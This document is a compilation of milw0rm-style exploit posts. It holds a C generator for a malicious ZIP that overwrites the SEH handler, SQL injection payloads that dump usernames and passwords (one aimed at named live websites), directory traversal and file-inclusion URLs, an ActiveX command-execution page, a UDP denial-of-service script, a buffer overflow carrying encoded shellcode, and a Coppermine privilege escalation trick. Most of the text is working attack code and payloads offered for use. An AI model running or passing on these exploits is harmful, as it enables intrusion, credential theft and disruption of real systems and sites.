0xDB, 0x90, 0x91, 0x01, 0xDB, 0xAF, 0xC1, 0xAF, 0x5A, 0x92, 0x3D, 0x89, 0x8F, 0x34, 0xC3, 0xAF,
0x5C, 0x90, 0x6F, 0xAF, 0xBD, 0x05, 0x40, 0xDB, 0xDD, 0x06, 0x13, 0x94, 0xEE, 0x05, 0x46, 0x02,
0x75, 0x2A, 0xF8, 0x2E, 0x52, 0x18, 0xE3, 0x03, 0x75, 0x2C, 0x6F, 0x80, 0x8A, 0xFA, 0x90, 0x00,
0x69, 0x4A, 0x58, 0x43, 0x53, 0x35, 0x70, 0x43, 0x4B, 0x4E, 0x70, 0x4F, 0x78, 0x4A, 0x4F, 0x38,
0x4E, 0x6B, 0x30, 0x43, 0x30, 0x63, 0x38, 0x65, 0x48, 0x4B, 0x4E, 0x71, 0x7A, 0x7A, 0x6E, 0x50,
0x57, 0x39, 0x6F, 0x79, 0x57, 0x31, 0x53, 0x42, 0x4D, 0x6F, 0x74, 0x6E, 0x4E, 0x61, 0x55, 0x51,
0x68, 0x61, 0x55, 0x6B, 0x70, 0x4E, 0x4F, 0x70, 0x63, 0x6B, 0x70, 0x52, 0x4E, 0x4F, 0x75, 0x71,
0x64, 0x6D, 0x50, 0x52, 0x55, 0x70, 0x73, 0x71, 0x55, 0x50, 0x72, 0x6D, 0x50, 0x25, 0x73, 0x6B,
0x70, 0x25, 0x73, 0x6D, 0x50, 0x6E, 0x4F, 0x51, 0x31, 0x4F, 0x54, 0x4E, 0x64, 0x6F, 0x30, 0x6D,
0x56, 0x4D, 0x56, 0x4D, 0x50, 0x70, 0x6E, 0x4F, 0x75, 0x72, 0x54, 0x4D, 0x50, 0x30, 0x6C, 0x42,
0x4F, 0x71, 0x53, 0x33, 0x31, 0x50, 0x6C, 0x43, 0x37, 0x70, 0x72, 0x70, 0x6F, 0x62, 0x55, 0x30,
0x70, 0x6B, 0x70, 0x6F, 0x51, 0x6F, 0x74, 0x50, 0x6D, 0x6F, 0x79, 0x50, 0x6E, 0x31, 0x59, 0x54,
0x33, 0x70, 0x74, 0x54, 0x32, 0x61, 0x51, 0x50, 0x74, 0x70, 0x6F, 0x31, 0x62, 0x42, 0x53, 0x6B,
0x70, 0x25, 0x73, 0x4D, 0x50, 0x4E, 0x4F, 0x4F, 0x51, 0x61, 0x34, 0x6F, 0x54, 0x6B, 0x50, 0x41,
0x00, 0x4B, 0x38, 0x4F, 0x45, 0x42, 0x32, 0x41, 0x30, 0x4B, 0x4E, 0x49, 0x44, 0x4B, 0x38, 0x46,
0x43, 0x4B, 0x58, 0x41, 0x50, 0x50, 0x4E, 0x41, 0x43, 0x42, 0x4C, 0x49, 0x59, 0x4E, 0x4A, 0x46,
0x58, 0x42, 0x4C, 0x46, 0x37, 0x47, 0x30, 0x41, 0x4C, 0x4C, 0x4C, 0x4D, 0x30, 0x41, 0x30, 0x44,
0x4C, 0x4B, 0x4E, 0x46, 0x4F, 0x4B, 0x33, 0x46, 0x35, 0x46, 0x32, 0x4A, 0x52, 0x45, 0x57, 0x45,
0x4E, 0x4B, 0x48, 0x4F, 0x35, 0x46, 0x42, 0x41, 0x30, 0x4B, 0x4E, 0x48, 0x36, 0x4B, 0x58, 0x4E,
0x50, 0x4B, 0x54, 0x4B, 0x48, 0x4F, 0x35, 0x4E, 0x41, 0x41, 0x30, 0x4B, 0x4E, 0x43, 0x30, 0x4E,
0x52, 0x4B, 0x58, 0x49, 0x48, 0x4E, 0x56, 0x46, 0x32, 0x4E, 0x31, 0x41, 0x36, 0x43, 0x4C, 0x41,
0x43, 0x4B, 0x4D, 0x46, 0x56, 0x4B, 0x48, 0x43, 0x44, 0x42, 0x53, 0x4B, 0x48, 0x42, 0x44, 0x4E,
0x50, 0x4B, 0x38, 0x42, 0x37, 0x4E, 0x41, 0x4D, 0x4A, 0x4B, 0x48, 0x42, 0x44, 0x4A, 0x30, 0x50,
0x45, 0x4A, 0x36, 0x50, 0x38, 0x50, 0x44, 0x50, 0x30, 0x4E, 0x4E, 0x42, 0x35, 0x4F, 0x4F, 0x48,
0x4D, 0x48, 0x46, 0x43, 0x45, 0x48, 0x56, 0x4A, 0x46, 0x43, 0x43, 0x44, 0x33, 0x4A, 0x56, 0x47,
0x37, 0x43, 0x37, 0x44, 0x43, 0x4F, 0x55, 0x46, 0x45, 0x4F, 0x4F, 0x42, 0x4D, 0x4A, 0x36, 0x4B,
0x4C, 0x4D, 0x4E, 0x4E, 0x4F, 0x4B, 0x33, 0x42, 0x55, 0x4F, 0x4F, 0x48, 0x4D, 0x4F, 0x45, 0x49,
0x58, 0x45, 0x4E, 0x48, 0x56, 0x41, 0x48, 0x4D, 0x4E, 0x4A, 0x50, 0x44, 0x30, 0x45, 0x35, 0x4C,
0x36, 0x44, 0x50, 0x4F, 0x4F, 0x42, 0x4D, 0x4A, 0x36, 0x49, 0x4D, 0x49, 0x50, 0x45, 0x4F, 0x4D,
0x4A, 0x47, 0x45, 0x4F, 0x4F, 0x48, 0x4D, 0x43, 0x55, 0x43, 0x45, 0x43, 0x35, 0x43, 0x35, 0x43,
0x35, 0x43, 0x54, 0x43, 0x55, 0x43, 0x54, 0x43, 0x35, 0x4F, 0x4F, 0x42, 0x4D, 0x48, 0x46, 0x4A,
0x56, 0x41, 0x41, 0x4E, 0x45, 0x48, 0x56, 0x43, 0x45, 0x49, 0x48, 0x41, 0x4E, 0x45, 0x59, 0x4A,
0x46, 0x46, 0x4A, 0x4C, 0x31, 0x42, 0x57, 0x47, 0x4C, 0x47, 0x55, 0x4F, 0x4F, 0x48, 0x4D, 0x4C,
0x36, 0x42, 0x41, 0x41, 0x35, 0x45, 0x45, 0x4F, 0x4F, 0x42, 0x4D, 0x4A, 0x56, 0x46, 0x4A, 0x4D,
0x4A, 0x50, 0x32, 0x49, 0x4E, 0x47, 0x35, 0x4F, 0x4F, 0x48, 0x4D, 0x43, 0x55, 0x45, 0x45, 0x4F,
0x4F, 0x42, 0x4D, 0x4A, 0x56, 0x45, 0x4E, 0x49, 0x54, 0x48, 0x58, 0x49, 0x44, 0x47, 0x45, 0x4F,
0x4F, 0x48, 0x4D, 0x42, 0x35, 0x46, 0x55, 0x46, 0x55, 0x45, 0x55, 0x4F, 0x4F, 0x42, 0x4D, 0x43,
0x39, 0x4A, 0x36, 0x47, 0x4E, 0x49, 0x47, 0x48, 0x4C, 0x49, 0x57, 0x47, 0x45, 0x4F, 0x4F, 0x48,
0x4D, 0x45, 0x55, 0x4F, 0x4F, 0x42, 0x4D, 0x48, 0x46, 0x4C, 0x56, 0x46, 0x36, 0x48, 0x36, 0x4A,
0x56, 0x43, 0x46, 0x4D, 0x36, 0x49, 0x48, 0x45, 0x4E, 0x4C, 0x46, 0x42, 0x45, 0x49, 0x35, 0x49,
0x32, 0x4E, 0x4C, 0x49, 0x38, 0x47, 0x4E, 0x4C, 0x56, 0x46, 0x34, 0x49, 0x58, 0x44, 0x4E, 0x41,
0x43, 0x42, 0x4C, 0x43, 0x4F, 0x4C, 0x4A, 0x50, 0x4F, 0x44, 0x54, 0x4D, 0x32, 0x50, 0x4F, 0x44,
0x34, 0x4E, 0x52, 0x43, 0x39, 0x4D, 0x38, 0x4C, 0x37, 0x4A, 0x33, 0x4B, 0x4A, 0x4B, 0x4A, 0x4B,
0x4A, 0x4A, 0x56, 0x44, 0x57, 0x50, 0x4F, 0x43, 0x4B, 0x48, 0x41, 0x4F, 0x4F, 0x45, 0x37, 0x46,
0x44, 0x4F, 0x4F, 0x48, 0x4D, 0x4B, 0x45, 0x47, 0x45, 0x44, 0x55, 0x41, 0x35, 0x41, 0x45, 0x41,
0x35, 0x4C, 0x36, 0x41, 0x30, 0x41, 0x55, 0x41, 0x45, 0x45, 0x45, 0x41, 0x45, 0x4F, 0x4F, 0x42,
0x4D, 0x4A, 0x46, 0x4D, 0x4A, 0x49, 0x4D, 0x45, 0x30, 0x50, 0x4C, 0x43, 0x55, 0x4F, 0x4F, 0x48,
0x4D, 0x4C, 0x36, 0x4F, 0x4F, 0x4F, 0x4F, 0x47, 0x43, 0x4F, 0x4F, 0x42, 0x4D, 0x4B, 0x48, 0x47,
0x45, 0x4E, 0x4F, 0x43, 0x58, 0x46, 0x4C, 0x46, 0x46, 0x4F, 0x4F, 0x48, 0x4D, 0x44, 0x45, 0x4F,
0x4F, 0x42, 0x4D, 0x4A, 0x56, 0x42, 0x4F, 0x4C, 0x48, 0x46, 0x50, 0x4F, 0x45, 0x43, 0x55, 0x4F,
0x4F, 0x48, 0x4D, 0x4F, 0x4F, 0x42, 0x4D, 0x5A, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x41, 0x49, 0x89, 0x04, 0x02, 0x12, 0x01, 0x61, 0x82, 0xFD, 0x81, 0x98,
0x98, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32,
0x2E, 0x74, 0x78, 0x74, 0x50, 0x4B, 0x05, 0x06, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00,
0x42, 0x08, 0x00, 0x00, 0x32, 0x08, 0x00, 0x00, 0x00, 0x00,
};


#define NEXT_SEH 2196
#define SEH_CHAIN 2200

#define SIZE 90000



int main (int argc, char *argv[])
{
int offset = 0,
i = 0,
next = 0x41414141,
seh_chain = 0x58585858;

char buffer[SIZE];

FILE *f;
f = fopen ("file.zip", "w");
assert (f !=NULL);

do {
buffer[i] = 0x90;
i++;
}while (i < SIZE);

memcpy (buffer, file, sizeof (file)); offset = NEXT_SEH;
memcpy (buffer + offset, &next, 4); offset = 0; offset = SEH_CHAIN;
memcpy (buffer + offset, &seh_chain, 4);
fwrite (buffer,1 ,sizeof (file), f);
fclose (f);
free (buffer);
return 0;
}

#milw0rm

Blue Eye CMS <= 1.0.0 Remote Cookie SQL Injection Vulnerability

BlueEye CMS <= 1.0.0 Remote Cookie SQL Injection Vulnerability
found by ka0x

Download: http://kent.dl.sourceforge.net/sourceforge/blueeyecms/blue_eye_cms-1_0_0_preRC.rar
need magic_quotes_gpc = Off

- Vuln code:

10: if (!empty($_COOKIE["BlueEyeCMS_login"])) { // --> Only??
11: $c_login = $_COOKIE["BlueEyeCMS_login"]; // --> Not clean??
12: $c_pass = $_COOKIE["BlueEyeCMS_pass"];
13: $c_key = $_COOKIE["BlueEyeCMS_key"];
....
16: $table = $db_prefix."users";
17: $query = mysql_query("SELECT id FROM `$table` WHERE `user` = '$c_login' AND `password` = '$c_pass' AND `key` = '$c_key'"); // -> VULN
18: $rows = mysql_num_rows($query); -> num rows of the query
19: $result = mysql_fetch_array($query);
....
21: if ($rows == 1) { // -> check if exists one row..
22: $logged = $c_login;
23: $logged_id = $result['id'];
24: }
....
204: img src="http://www.blogger.com/%5C" / Logged as: ".$logged." (ID: ".$logged_id.")

Proof Of Concept:
javascript:document.cookie = "BlueEyeCMS_login=' UNION SELECT concat(user,0x3A,password) FROM blueeye_users WHERE id=1/*; path=/";

# milw0rm

Jogjacamp JProfile Gold (id_news) Remote SQL Injection Vulnerability

Vendor : http://jogjacamp.com

bugs : /index.php?action=news.detail&id_news=

exploit : union select concat(username,0x3a,password),2,3 from phpss_account--

POC : http://www.titiandamai.org/index.php?action=news.detail&id_news=6%20union%20select%20concat(username,0x3a,password),2,3%20from%20phpss_account%20--

http://www.ligaindonesia.com/index.php?action=news.detail&id_news=1976%20%20union%20select%20concat(username,0x3a,password),2,3%20from%20phpss_account%20--

http://hermawan.net/index.php?action=news.detail&id_news=42%20union%20select%20concat(username,0x3a,password),2,3%20from%20phpss_account%20--


greetz : Allah
s3t4n and Paman aka Jack-
my family
and all Mainhack BrotherHood
jupe crew jangan ngegame melulu :p

# milw0rm

ghostscripter Amazon Shop (XSS/DT/RFI) Multiple Vulnerabilities

ghostscripter Amazon Shop (XSS/directory traversal[Unix]/File Include)Vulns
Price: $549
Discovered By d3b4g
script: http://ghostscripter.com/amazon_shop.php
Greetz : str0ke & My friends
Follow me on twitter www.twitter.com/schaba

This script is suffer from Multiple Vulnerabilities

0x1 Directory traversal[Unix]

preety longone _))

P0c: http://demo.ghostscripter.com/amazon/add_review.php?id=B00004TXJV〈=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

0x2 Multiple File Include:

p0c:

http://demo.ghostscripter.com:80/amazon/cart.php?cmd=add&asin=[shell]
http://demo.ghostscripter.com:80/amazon/index.php?lang=[shell]
http://demo.ghostscripter.com:80/amazon/info.php?asin=[shell]

0x3 Cross Site Scripting (XSS)

http://demo.ghostscripter.com/amazon/search.php?query=1&mode=all

# milw0rm

Easy Web Password 1.2 Local Heap Memory Consumption PoC

#!/usr/bin/env ruby
# Easy Web Password V1.2 Local Heap Memory Consumption Proof of concept
# http://www.efssoft.com/ewpsetup.exe
# Register
# EAX 00000000
# ECX 04A43C58
# EDX 41414141 ( EDX overwrited )
# EBX 00000001
# ESP 0012A4E0
# EBP 0012F140
# ESI 0012A720
# EDI 2FDE5000
# EIP 00405AB4 EasyWebP.00405AB4
time3 = Time.new
puts "Exploit Started in Current Time :" + time3.inspect
puts "Enter Name For your File Like : Stack"
moad = gets.chomp.capitalize
puts "Name Of File : " + moad +'.html'
time1 = Time.new
$VERBOSE=nil
Header = "\x4D\x79\x44\x42\x2C\x43\x6F\x70\x79\x72\x69"+
"\x67\x68\x74\x5F\x47\x75\x48\x6F\x6E\x67"

Bof = "\x41" * 393

crash = Header + Bof

File.open( moad+".ewp", "w" ) do |the_file|
the_file.puts(crash)
puts "Exploit finished in Current Time :" + time1.inspect
puts "Now Open " + moad +".ewp :d"
end

# milw0rm

Sopcast SopCore Control (sopocx.ocx) Command Execution Exploit

-- Sopcast SopCore Control (sopocx.ocx 3.0.3.501) SetExternalPlayer()
user assisted remote code execution poc
by Nine:Situations:Group::surfista (IE7/8)

our site: http://retrogod.altervista.org/
software site: http://www.sopcast.org/

Through the SetExternalPlayer() method and the ExternalPlayer property is possible to associate an arbitrary executable to the "external player" button (for clearness see http://www.sopcast.com/docs/ where the player control buttons are showed) which opens Windows Media Player by default. When the user click this button, the executable is launched without prompts Also this value is stored in config.xml, inside the sopcast local folder for further use, ex. with the sopcast client application Note: this control is safe for scripting and safe for initialization
--
HTML
HEAD
script language="Javascript" type="text/JavaScript"
window.onload=function()
{
SopPlayer.InitPlayer();
//SopPlayer.SetExternalPlayer("\\\\192.168.0.1\\c$\\PATH\\TO\\MALICIOUS_PROGRAM.EXE");
SopPlayer.SetExternalPlayer("c:\\WINDOWS\\system32\\calc.exe");
SopPlayer.SetSopAddress("sop://broker.sopcast.com:3912/6002"); //A LIVE CHANNEL ...
SopPlayer.SetChannelName("CCTV5");
SopPlayer.Play();
}
/script
/HEAD
BODY
OBJECT
ID="SopPlayer"
name="SopPlayer"
CLASSID=clsid:8FEFF364-6A5F-4966-A917-A3AC28411659
HEIGHT=375
WIDTH=375
/OBJECT
/BODY
/HTML

# milw0rm

HTC Touch vCard over IP Denial of Service PoC

The code provide means for demonstrating the HTC Touch vCard over IP DoS by sending vCards to port UDP/9204 of the target IP address.

The number of vCards (-c), the time interval between each vCard (-d), the length -l) and, of course, the target address are configurable.

The content of each message can also be selected (-t) by providing the desired content, that will be embedded in each vCard sent.

Finally, a dedicated option (-s), can be used for demonstrating the effect of very large vCards. According to the advisory, these vCards are silently received without triggering any sound or ringtone, even if they have been properly selected on the UI settings.

#! /usr/bin/env python
#
# Copyright (c) 2009 Mobile Security Lab www.mseclab.com
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#

from socket import *
from sys import exit,argv
from time import *
import random
from optparse import OptionParser

# Global Variables
PORT = 9204
DEF_NUM_PACKETS = 10
DEF_VCARD_LEN = 1410
DEF_DELAY = 0.7
VCARD_HEADER = "BEGIN:VCARD\r\nVERSION:2.1\r\nN:"
VCARD_TRAILER = "\r\nEND:VCARD\r\n"

def main():
# Local variables
num_packets = DEF_NUM_PACKETS
delay = DEF_DELAY

print "\nMSL-2008-002 PoC for HTC Touch\nMobile Security Lab 2009\n"
# Parsing options
parser = OptionParser("usage: %prog [options] target_IP")
parser.add_option("-s", "--silence", action="store_true", dest="silence", help="send silent vcards (32k)")
parser.add_option("-c", "--count", type="int", help="specify vcard length", dest="count")
parser.add_option("-d", "--delay", type="float", help="specify delay between packets", dest="delay")
parser.add_option("-l", "--len", type="int", help="specify vcard length", dest="len")
parser.add_option("-t", "--text", type="string", help="specify vcard body text", dest="text")

# Parse input
(options, args) = parser.parse_args()
if len(args) != 1:
parser.print_help()
print ""
exit(1)

if options.count:
num_packets = options.count

if options.delay:
delay = options.delay

if options.silence:
vcard_body = VCARD_HEADER+'A' *32722+VCARD_TRAILER
elif options.len:
vcard_body = VCARD_HEADER+'A' *options.len+VCARD_TRAILER
elif options.text:
vcard_body = VCARD_HEADER+options.text+VCARD_TRAILER
else:
vcard_body = VCARD_HEADER+'A' *DEF_VCARD_LEN+VCARD_TRAILER

# Socket creation
udp_sock = socket(AF_INET, SOCK_DGRAM)
ADDR = (args[0],PORT)

# Start sending packet
counter = 1
c_lap = 0
total_data = 0
print "Sending %d packets... to %s" % (num_packets,ADDR)
start_time = time()
start_lap = time()

# Start sending packet
while counter <= num_packets:
len_sent = udp_sock.sendto(vcard_body,ADDR)
if len_sent != len(vcard_body):
print "Error sending packet n.%d" %counter
break

# Update Counter
counter += 1
c_lap += 1
total_data += len_sent

# Sleep for letting the device parse vcards
sleep(delay)

# Check number of packets in a second
local_lap = time()
if local_lap - start_lap >= 1:
print "%0.2f packets/sec" % (c_lap/(local_lap - start_lap))
start_lap = local_lap
c_lap = 0

stop_time = time()
stop_sec = stop_time - start_time

# Display info
print "Sent %d packets in %f seconds" % (num_packets, stop_sec)
print "Start time: %s" %ctime(start_time)
print "Stop time: %s" %ctime(stop_time)
print "Payload Len = %d bytes" % len(vcard_body)
print "Total Data sent = %d bytes (about %0.2f kB)" % (total_data, (float(total_data)/float(1024)))

#Global start
if __name__ == "__main__":
main()

Orbit <= 2.4 Long Hostname Remote Buffer Overflow Exploit

html
body

Orbit <=2.4 Long Hostname Buffer Overflow Vulnerability Poc

Vulnerability discovered by Secunia

Exploit and POC provided by: JavaGuru



Right click on link below then choose download by orbit, CALC.EXE will pop up.

I got a lot of problems when trying to execute shellcode, because a lot of chars was forbidden and I was not able to execute shellcode. After playing a little I found out the solution. Don't forget, open this HTML in Firefox.

Check it out.

Any questions/comments: JavaGuru1999@yahoo.de

script language="JavaScript"
var tmp = "http://";

for (i=0;i<508;i++) tmp +="%6F";

// jmp esp from kernel32.dll XP SP 3 English
//
tmp += "%7B%46%86%7C";

// some nops
tmp += "%90%90%90%90";

// win32_exec - EXITFUNC=process CMD=calc.exe Size=424 Encoder=Alpha2 http://metasploit.com
// forbidden chars - 0x00 0x01 0x02 0x03
tmp += "%eb%59%59%59%59%eb%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%59%e8%a4%ff%ff%ff%37%49%49%49%49%49%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%67%58%50%30%42%31%41%42%6b%42%41%77%32%42%42%32%41%41%30%41%41%58%42%50%38%42%42%75%6d%39%49%6c%4b%58%37%34%43%30%33%30%77%70%6e%6b%73%75%55%6c%6e%6b%61%6c%66%65%50%78%54%41%4a%4f%6c%4b%62%6f%56%78%4c%4b%51%4f%45%70%55%51%7a%4b%31%59%6e%6b%36%54%4c%4b%53%31%6a%4e%45%61%4f%30%5a%39%4c%6c%6e%64%49%50%34%34%55%57%6a%61%4b%7a%66%6d%35%51%6b%72%6a%4b%6c%34%55%6b%41%44%44%64%76%64%73%45%5a%45%4c%4b%73%6f%57%54%47%71%6a%4b%30%66%6c%4b%74%4c%30%4b%6c%4b%53%6f%37%6c%47%71%5a%4b%6e%6b%77%6c%6c%4b%34%41%4a%4b%4b%39%51%4c%44%64%54%44%7a%63%37%41%4f%30%41%74%6c%4b%43%70%76%50%4c%45%4f%30%30%78%66%6c%6c%4b%37%30%64%4c%6c%4b%30%70%65%4c%6c%6d%4c%4b%43%58%36%68%78%6b%75%59%6e%6b%6f%70%4e%50%55%50%55%50%55%50%4e%6b%75%38%55%6c%43%6f%46%51%79%66%63%50%70%56%4c%49%6c%38%6b%33%6f%30%61%6b%32%70%71%78%61%6e%6b%68%7a%42%43%43%71%78%5a%38%6b%4e%6d%5a%76%6e%70%57%69%6f%6d%37%72%43%55%31%30%6c%70%63%76%4e%70%65%72%58%50%65%73%30%67";

// Filename (not important)
tmp += "/a.rar";

// Write link for download for orbit!
document.write ('a href="' + tmp + '">Right click, then choose download with orbit');


script
body
html

# milw0rm

Coppermine Photo Gallery <= 1.4.20 (BBCode IMG) Privilege Escalation PoC

by Juri Gianni aka yeat - staker[at]hotmail[dot]it
http://coppermine-gallery.net
Don't add me on msn messenger.
This vulnerability can be named as "bbcode img tag script injection"

Proof of Concept (an example,to understand it)

URL: http://[host]/[path]/delete.php?id=u[ID]&u[ID]=&action=change_group&what=user&new_password=&group=1&delete_files=no&delete_comments=no
[img]URL[/img]

Modify [ID] with your user id.
Go http://[host]/[path]/displayimage.php?album=random&pos=[album id]

Insert the below code into a new message

hey admin,nice web site :)
